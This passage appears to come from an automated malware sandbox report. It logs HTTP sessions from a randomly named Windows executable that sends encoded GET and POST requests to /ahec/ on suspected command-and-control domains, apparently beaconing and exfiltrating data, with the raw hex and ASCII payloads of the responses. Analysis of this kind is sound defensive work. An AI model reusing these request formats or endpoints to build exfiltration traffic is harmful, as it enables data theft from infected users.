39 4b 35 78 61 4d 4a 70 4a 33 67 4e 4c 52 75 5a 7a 68 66 4e 49 4a 4d 5a 42 45 46 4c 4b 39 4d 31 69 58 33 63 4a 75 36 51 62 55 54 4c 46 65 57 43 34 48 4d 61 54 75 65 78 70 37 5a 55 36 75 56 47 34 4e 4f 46 49 45 78 70 52 2b 45 66 36 32 51 74 35 41 59 71 31 49 31 59 6c 68 6a 51 75 65 78 45 59 5a 6d 44 47 75 4d 34 67 6b 58 39 70 49 39 56 74 64 32 62 74 51 71 70 77 57 55 49 77 45 35 62 48 70 49 37 6d 44 6b 78 72 74 6c 2f 55 59 37 41 74 64 4a 4f 38 63 6e 41 50 6a 43 2f 79 70 72 6e 2b 70 31 61 44 43 55 76 71 7a 35 31 48 35 67 74 38 67 58 35 35 35 6a 57 61 39 69 74 72 66 41 57 61 2f 63 35 48 61 31 77 46 5a 76 4c 46 77 6f 6e 51 2b 76 2f 49 32 33 34 4b 6f 45 54 6f 41 77 55 72 43 69 6c 6b 52 65 55 78 42 4a 6f 6e 33 62 64 4f 54 62 31 57 31 7a 45 37 56 57 4a 51 62 4f 54 66 6a 71 63 50 71 58 5a 4a 39 4f 36 4f 62 64 69 77 78 4f 4d 2b 31 67 6d 47 48 64 5a 71 44 4b 47 76 75 39 6e 70 62 31 49 2b 69 6f 6f 42 54 55 4c 58 70 6d 69 4a 55 49 49 6d 38 67 4a 4e 51 72 68 30 74 5a 49 52 54 7a 2b 35 77 64 33 47 43 76 32 41 68 74 31 37 73 52 4d 78 4d 6b 68 66 4e 65 58 49 6a 69 6a 6b 6a 56 42 39 56 77 64 73 76 6d 41 6b 2f 55 4f 79 36 45 7a 56 76 35 33 31 64 77 4a 4f 32 6d 75 69 48 49 54 31 66 69 31 35 4e 4f 51 32 74 33 79 65 55 70 6e 6f 46 50 36 4d 73 37 31 75 42 75 74 6e 6a 77 6b 47 43 54 36 68 76 53 67 72 44 32 73 69 50 34 63 73 76 68 33 62 75 54 6e 4e 57 45 6c 31 71 72 59 77 2b 4b 78 33 79 55 78 64 5a 2f 37 4c 70 58 70 32 79 66 52 70 42 4c 49 57 4f 30 47 2b 53 67 7a 4a 46 43 4c 65 76 70 35 58 59 50 4f 37 38 67 33 5a 35 66 66 5a 72 61 50 39 37 46 59 37 4d 58 46 31 30 6c 48 59 67 58 34 74 6f 48 51 50 77 50 5a 32 6e 52 71 50 34 46 4c 58 5a 6a 6d 48 33 65 46 6e 4e 49 58 32 69 74 61 47 4b 46 4f 7a 67 61 46 30 32 4f 64 43 4d 56 4f 64 66 31 6c 52 46 2f 6f 67 51 67 74 49 6c 7a 39 6f 63 6f 6f 48 6c 78 66 4e 61 52 61 7a 4e 31 53 35 33 31 50 4a 47 54 72 4c 68 49 4a 57 7a 44 79 37 38 58 4c 6e 73 48 70 4b 2b 5a 44 4c 6b 34 5a 77 66 78 6f 61 51 78 71 73 6a 67 4b 61 30 33 55 44 69 32 41 43 4a 6f 5a 45 4e 34 34 59 57 6a 53 6a 6e 4a 62 38 54 36 79 4c 53 4f 75 36 6b 4e 39 53 66 5a 46 57 64 6b 55 34 75 35 75 78 63 74 4b 45 4a 4f 46 48 79 56 52 41 5a 31 37 63 53 4c 71 44 47 6d 6d 4a 53 64 76 31 51 48 43 54 4b 4d 55 38 2f 2f 74 63 6b 5a 4a 4d 33 47 70 2f 74 46 47 4b 6f 4e 49 68 49 57 7a 4b 69 4b 48 41 72 70 7a 71 Data Ascii: XveXHZvx=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
Dec 8, 2023 14:50:54.028893948 CET	1031	IN	HTTP/1.1 200 OK Date: Fri, 08 Dec 2023 13:50:53 GMT Content-Length: 353 Connection: close Content-Encoding: gzip X-Frame-Options: SAMEORIGIN Cache-Control: private, no-cache, no-store, max-age=0 Expires: Mon, 01 Jan 1990 0:00:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5gkaYz%2F18GeIyn8dhQOH4sA2NQuuc%2F2FVZDrbX2Vrhp0oa5zSiDrLHxV2loRl78yGjEV09DGsWs29kLm7plQZbpOZ8GKp%2BjJtuKkcP4S6kAINFucOfLa0mp27W3%2BpNY7oA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83257ae23957495e-MIA alt-svc: h3=":443"; ma=86400 Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 6d 52 b1 4e c4 30 0c fd 15 6f b7 a0 e6 90 98 50 af 23 12 0b 0b 13 a3 db b8 6d 44 1a 17 c7 bd aa 7f 8f d3 d3 1d 27 40 6a 2a bd 17 fb 3d c7 76 3d ea 14 9b 7a 24 f4 4d ad 41 23 35 6f ac f0 c2 4b f2 b5 bb 10 b5 bb 5c b7 ec b7 a6 ee 28 29 89 a1 ff 8e 7d 61 b8 57 28 d0 fe 3f 21 8a 6d 24 e8 28 c6 19 bd 0f 69 38 3d 1e 77 98 67 ec 0a 3c c2 1a bc 8e a7 a7 e3 11 5a 16 4f 72 7a b4 b4 92 ea 9b 0f 5e 04 3c 4f 18 12 74 bc 44 0f c9 bc 5a 82 be d8 81 b1 25 a0 67 59 51 8a 38 b0 40 56 c2 a8 e3 3d bb 17 91 2b b8 56 f5 da c3 c6 0b 08 95 c7 c5 0d 32 69 21 04 12 4e 64 48 ce 24 f9 01 e6 48 98 09 56 0c 0a 08 3d ad 30 85 b4 28 65 40 33 57 d9 00 07 ab ac 82 77 9e 48 c3 64 17 42 59 51 b4 98 ee 82 ad f0 6a 7a 30 52 9c 73 f5 c7 ff 6b 09 62 8f 59 44 47 0b c2 9c 83 a5 a7 8e 6e de e7 90 cd bc 28 ed 3d 30 40 80 0a 35 c2 28 d4 9f 0e a3 ea fc ec dc ba ae 95 df 12 7a d6 aa e3 e9 d0 fc 22 6a 87 4d 65 f3 b5 a9 ba d2 5a b7 77 e4 67 4a 61 1a 20 4b 77 d3 9b 51 3e bb c8 8b bf 17 71 91 07 ae 86 d0 1f 4c e0 ba 16 ee b2 25 6e df ab 6f b5 21 96 59 5e 02 00 00 Data Ascii: mRN0oP#mD'@j*=v=z$MA#5oK\()}aW(?!m$(i8=wg<ZOrz^<OtDZ%gYQ8@V=+V2i!NdH$HV=0(e@3WwHdBYQjz0RskbYDGn(=0@5(z"jMeZwgJa KwQ>qL%no!Y^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49748	104.21.18.253	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:50:56.404686928 CET	467	OUT	GET /ahec/?XveXHZvx=IVKkGpXtV1toVTOD34k8KODusBBzLXjGifHJVqVOgN7K+V/6a9WE/CA4RHgfE4yJ8GdRU2XQNCMfR2HSu9NJz1b7R1h7bgr87Q==&l4xX=rDStpH0He HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.poria.link Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Dec 8, 2023 14:50:56.686069965 CET	1272	IN	HTTP/1.1 200 OK Date: Fri, 08 Dec 2023 13:50:56 GMT Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Cache-Control: private, no-cache, no-store, max-age=0 Expires: Mon, 01 Jan 1990 0:00:00 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GvIm%2FfOCJu80AE09johpDoC0vPNlTq2pOycE5hCMsHfepwfpVoDz7ncCV2FyFw3s2BKTsr7ZAdhpSa9327B1tl8Z8XbIILoTeC%2F%2FCI2NbmmzjVY92UwpbskHia1ZsFUveQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83257af2de4c258e-MIA alt-svc: h3=":443"; ma=86400 Data Raw: 32 35 65 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 72 3e 3c 62 3e 3c 62 69 67 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 69 67 3e 3c 2f 62 3e 3c 62 72 3e 3c 62 72 3e 3c 74 61 62 6c 65 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 31 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 30 20 77 69 64 74 68 3d 34 30 30 20 62 6f 72 64 65 72 3d 31 3e 3c 74 72 3e 3c 74 64 3e 59 6f 75 72 20 64 6f 6d 61 69 6e 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 69 6e 20 6f 75 72 20 66 6f 72 77 61 72 64 69 6e 67 20 6f 72 20 73 74 65 61 6c 74 68 20 66 6f 72 77 61 72 64 69 6e 67 20 74 61 62 6c 65 73 2e 20 3c 62 72 3e 3c 62 72 3e 49 66 20 79 6f 75 20 72 65 63 65 6e 74 6c 79 20 73 65 74 20 79 6f 75 72 20 6e 61 6d 65 20 73 65 72 76 65 72 73 2c 20 70 6c 65 61 73 65 20 77 61 69 74 20 61 20 66 65 77 20 6d 69 6e 75 74 65 73 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 20 53 6f 6d 65 74 69 6d 65 73 20 72 65 73 74 61 72 74 69 6e 67 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 68 65 6c 70 73 2e 3c 62 72 3e 3c 62 72 3e 49 66 20 79 6f 75 20 72 65 71 75 69 72 65 20 66 75 72 74 68 65 72 20 61 73 73 69 73 74 61 6e 63 65 2c 20 70 6c 65 61 73 65 20 76 69 73 69 74 20 6f 75 72 20 6d 61 69 6e 20 73 69 74 65 20 61 74 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 64 79 6e 61 64 6f 74 2e 63 6f 6d 27 3e 77 77 77 2e 64 79 6e 61 64 6f 74 2e 63 6f 6d 3c 2f 61 3e 2e 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 2f 74 61 62 6c 65 3e 3c 62 72 3e 3c 62 72 3e 3c 69 6d 67 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 70 61 72 6b 63 6c 6f 75 64 2e 64 79 6e 61 64 6f 74 2e 63 6f 6d 2f 6c 6f 67 6f 2e 67 69 66 27 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 25e<html><head><title>Not Found</title></head><body><center><br><br><br><br><br><b><big>Not Found</big></b><br><br><table cellpadding=10 cellspacing=0 width=400 border=1><tr><td>Your domain could not be found in our forwarding or stealth forwarding tables. <br><br>If you recently set your name servers, please wait a few minutes and try again. Sometimes restarting your browser helps.<br><br>If you require further assistance, please visit our main site at <a href='http://www.dynadot.com'>www.dynadot.com</a>.</td></tr></table><br><br><img src='http://parkcloud.dynadot.com/logo.gif'></center></body></html>
Dec 8, 2023 14:50:56.686326027 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49749	37.140.192.89	80	5016	C:\Program Files (x86)\fvCwMkebvdlZnVAfIydJNuzaLtYKKNgsocDEVFzzoGRisGnQb\UHPrrMeffyCaz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2023 14:51:02.564663887 CET	747	OUT	POST /ahec/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.makeinai.online Origin: http://www.makeinai.online Referer: http://www.makeinai.online/ahec/ Cache-Control: no-cache Content-Length: 189 Content-Type: application/x-www-form-urlencoded Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 58 76 65 58 48 5a 76 78 3d 42 77 31 4a 49 64 62 4d 57 32 4b 6f 4a 55 4b 2b 42 65 36 4a 79 58 4f 56 50 79 43 65 39 6f 6f 68 56 4d 49 73 77 33 30 58 32 79 58 69 2f 6b 74 36 73 52 68 72 6c 50 55 2f 4d 56 78 65 59 30 67 6e 58 73 66 66 38 2b 68 72 2b 58 34 4e 65 43 32 36 52 58 2b 39 6c 6e 4f 58 59 65 43 49 41 65 56 37 75 68 6c 42 5a 2f 72 59 55 64 70 4c 63 2b 44 6f 39 31 37 48 51 4a 55 77 6d 6b 74 45 66 50 53 55 6c 53 75 4f 4c 74 37 77 70 73 50 31 39 68 32 6d 79 43 77 49 68 71 38 4a 78 49 45 69 49 57 47 76 52 4d 70 65 72 38 53 30 61 64 57 79 4a 7a 70 7a 37 51 3d 3d Data Ascii: XveXHZvx=Bw1JIdbMW2KoJUK+Be6JyXOVPyCe9oohVMIsw30X2yXi/kt6sRhrlPU/MVxeY0gnXsff8+hr+X4NeC26RX+9lnOXYeCIAeV7uhlBZ/rYUdpLc+Do917HQJUwmktEfPSUlSuOLt7wpsP19h2myCwIhq8JxIEiIWGvRMper8S0adWyJzpz7Q==
Dec 8, 2023 14:51:02.846950054 CET	1286	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 08 Dec 2023 13:51:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"64f9f107-377d8" Content-Encoding: gzip Data Raw: 36 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd ef 8e db 48 b2 2f f8 7d 9e 42 a5 83 b6 a5 31 a5 e2 7f 52 92 e9 9a 9e 1e f7 99 c6 99 9e 6e 8c fb f4 60 51 63 08 2c 89 2a b1 4d 89 ba 24 55 e5 72 b9 0e ee dd 27 d9 af fb ed ec 05 16 d8 c5 ee de 05 f6 09 e6 bc d1 46 44 92 14 ff 4a 49 51 e5 6a fb 4c 75 5b a2 c8 cc 88 cc c8 c8 c8 5f 44 06 c9 97 67 73 7f 16 dd 6d 9c ce 32 5a 79 af 5e e2 67 c7 b3 d7 d7 56 d7 59 77 e1 b7 63 cf 5f bd 5c 39 91 dd 99 2d ed 20 74 22 ab fb af 3f 7d 3b 30 e1 5a e4 46 9e f3 ea ef ff cb df ff fd ef ff db df ff c7 7f fc cf 7f ff f7 ce 7f fc 37 f8 f1 7f d2 e1 df ff fb 7f fc d7 bf ff ef 7f ff bf e1 df ff 03 ff fd 8f ce df ff 5f 38 f1 7f 40 c1 ff 86 d7 f1 d4 df ff fb df ff 2f ba fc ef 2f cf 19 b1 97 61 74 e7 39 9d 95 33 77 6d ab 6b 7b 5e f7 d5 f9 6f cf 7e fb b9 ff 9d fd f6 6f bf e9 74 b0 1f 9d 59 18 76 86 e7 6b 7f ee 4c 57 fe 7c eb 39 e1 39 9c 1a 78 be 3d 77 82 73 77 3d 77 de 0f 7f 09 2f 2e 66 9e bf 76 e6 7f 81 02 6f 9c 68 a0 0f b7 a1 73 29 bd 3d 2b 54 dd f8 61 94 a9 1e 06 b3 94 44 b1 28 fc 4b cb cd dd 30 3a 9f fd 12 b2 62 57 ce ea fc ca f3 67 ef c2 a1 3d b7 37 91 7b e3 9c 5f 0d 36 f6 75 f2 35 c4 ba 1d ec 07 f4 e2 6f 4f 2d cc d6 7f e7 bf 19 b2 7e dd 83 1c 36 9e 7d 37 5e 78 ce fb 09 7e 0c e6 6e e0 cc 22 d7 5f 8f 67 be b7 5d ad 27 b7 ee 3c 5a 8e 25 51 fc 6a b2 72 d7 03 f6 53 91 c5 cd fb c9 d2 71 af 97 11 bb b6 b1 e7 73 77 7d 3d d6 8c cd fb 8e d8 11 27 2b 3b b8 76 d7 63 71 02 74 fc 60 fc 4f 8a ae c2 ff 93 85 bf 86 1a 32 14 fa 6e 1d 39 81 f0 75 e0 da 9e f0 47 c7 bb 71 22 77 66 77 fe ec 6c 9d dd 4f e1 db c0 71 de d8 eb 50 08 e1 63 10 3a 81 bb 98 5c d9 b3 77 d7 81 bf 5d cf c7 ff b4 58 2c 26 83 5b e7 ea 9d 1b 0d 22 7b 33 58 42 8b 3c 6c d5 80 b1 8d 02 a8 b7 b1 03 67 1d 3d e0 d4 1e af fd a8 37 74 c3 69 32 d0 fd 4e 22 0b ff c6 09 16 9e 7f 3b 78 3f 5e ba f3 b9 b3 7e f8 1d 4d c3 4e 6f d7 6f 49 94 d5 cd fb fe 7d 96 c2 1e 02 0f f1 a5 29 1a 98 29 34 e3 1d 88 e8 1e c9 ed 44 77 b3 cc 97 72 82 c0 0f 18 c1 44 a6 e2 81 a6 4f 57 ce 7a 3b c0 c2 38 70 70 7d ee cc 85 e6 55 06 f6 0c cb 24 6c 07 91 bf 01 d6 cd 84 50 45 b7 40 f0 a1 61 13 24 d4 b5 13 34 a3 ba 7b 87 b4 22 57 3a 33 03 46 23 1d 5a 75 40 c8 70 c5 5d dc 0d ae 02 ff 16 54 77 7a e3 86 ee 95 97 a7 a9 a9 8d 3b 77 a0 4d 95 f2 e0 6d c9 6e 70 fc 2b d7 73 06 89 4e 4f 99 46 0b c9 e5 70 7b 85 22 9e fa 1b 07 ac 74 aa fa 89 e2 1f 90 cb 74 e1 fb 30 f9 07 73 ff 76 7d 50 51 ab 1b 72 a0 56 5d fb e2 8e 37 55 a7 43 e4 1a ab 67 65 a7 2a e8 0e dd dd b0 27 c6 9a 96 aa 87 2a 59 de a3 09 1f 4b 60 7f ed 6d e4 4f 8a a3 92 21 96 af 96 b7 48 5f 35 ed 4d 8e 56 45 1f 2a 8a 4d d3 ae 27 aa 58 aa 57 ac 06 9d a8 66 09 a6 1e 96 92 75 94 6a f3 95 1f 45 fe 0a 26 77 1d 09 f6 33 15 e8 1a 90 c6 ae 6c 4c 6d 70 1b d8 9b 0d 94 4a 16 32 92 69 6d b1 29 01 b7 29 82 8f 4c 4b 02 92 29 8a 2e 59 20 07 9e b3 60 67 f8 48 4d d7 ce 6d 81 9c 6a 16 c9 e1 99 83 73 ae d8 af 06 76 ac 49 67 c5 7c d3 1a 2f 20 7b db c9 55 a3 51 eb 1a 77 9d 16 e9 25 c0 4e 24 12 46 36 c0 94 b8 89 a6 78 c4 42 d5 98 fe 4e 6d 92 e5 2d 3b 7d 75 71 a7 1b f4 83 b0 98 07 70 77 40 52 19 20 79 a6 f0 87 3a 9e 92 4f 61 48 8a e9 3a 03 49 63 a4 1b 77 97 8f 6a b9 93 bb e9 58 00 a1 3b 3a 3b 5c 18 83 bf 7f 5a c8 0b 75 31 e2 ee 69 05 0f a6 76 c7 76 b2 96 60 45 ff c8 ff 03 03 Data Ascii: 6000H/}B1Rn`Qc,M$Ur'FDJIQjLu[_Dgsm2Zy^gVYwc_\9- t"?};0ZF7_8@//at93wmk{^o~otYvkLW\|99x=wsw=w/.fvohs)=+TaD(K0:bWg=7{_6u5oO-~6}7^x~n"_g]'<Z%QjrSqsw}='+;vcqt`O2n9uGq"wfwlOqPc:\w]X,&["{3XB<lg=7ti2N";x?^~MNooI}))4DwrDOWz;8pp}U$lPE@a$4{"W:3F#Zu@p]Twz;wMmnp+sNOFp{"tt0sv}PQrV]7UCge'YK`mO!H_5MVEM'XWfujE&w3lLmpJ2im))LK).Y `gHMmjsvIg\|/ {UQw%N$F6xBNm-;}uqpw@R y:OaH:IcwjX;:;\Zu1ivv`E
Dec 8, 2023 14:51:02.847130060 CET	1286	IN	Data Raw: ee db d1 18 75 93 21 65 43 14 3b d8 cd 73 45 6c 03 99 3d 77 ed 24 2a a2 99 59 db 93 e7 3f 80 82 ef ee 23 e7 7d 34 98 3b 33 3f b0 c9 13 c8 db c7 8a 1a e3 25 5a ef 52 3d 18 09 27 40 d6 75 95 51 62 ac df 89 29 76 d7 35 e5 dd c8 59 dd 83 b7 47 bf c6 Data Ascii: u!eC;sEl=w$Y?#}4;3?%ZR='@uQb)v5YG(I~.';<N6Nz$jvn^_aVa5Nmz]R0T=j0d9v0E\|9-Eq=%l)MF1qax
Dec 8, 2023 14:51:02.847446918 CET	1286	IN	Data Raw: 83 53 15 67 c3 f2 c9 d2 89 2b ff 3d ce 61 5c 32 52 13 f6 be 18 25 f3 37 91 bb 82 59 fd 27 70 41 ae 5c cf 8d ee 1e 52 79 0b e9 d1 98 65 fd 65 4e c4 7b d5 18 81 63 6b c7 50 96 c3 8e 63 87 ce c0 5d 0f fc 6d b4 23 73 09 c3 63 83 1f 31 7f bb ab 3f c5 Data Ascii: Sg+=a\2R%7Y'pA\RyeeN{ckPc]m#sc1?g\I6KzQqCua'c'{23^bx%)orLBPIzIDVdB(^ -.,#4~>#FU!e%_RM@&D=~^5tW^b{%QV68o}
Dec 8, 2023 14:51:02.847461939 CET	1286	IN	Data Raw: ad 53 c1 60 6e 1e 8f 19 da 7d 2c 49 f1 02 dd 83 d5 0f c0 db 83 f5 0f 80 da cc 0d 3c ec 19 33 9b c0 5d d9 c1 dd 7d f9 bd 09 a2 38 13 4d b5 ae 42 56 82 f8 28 04 7a 5a 80 50 53 38 7e 96 40 15 8f b9 3d d2 eb 78 c4 8f 28 a8 ac 67 1b 86 5c 57 6f b0 76 Data Ascii: S`n},I<3]}8MBV(zZPS8~@=x(g\WovnRlw?46-T,XhlDUvU}OdVxoMm-?(^]#3,5UJ1EY!9$cE->i*MoUWeA!
